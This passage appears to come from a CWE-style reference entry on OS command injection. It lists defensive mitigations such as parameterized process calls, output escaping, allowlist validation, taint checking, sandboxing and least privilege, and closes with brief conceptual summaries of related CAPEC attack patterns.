Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.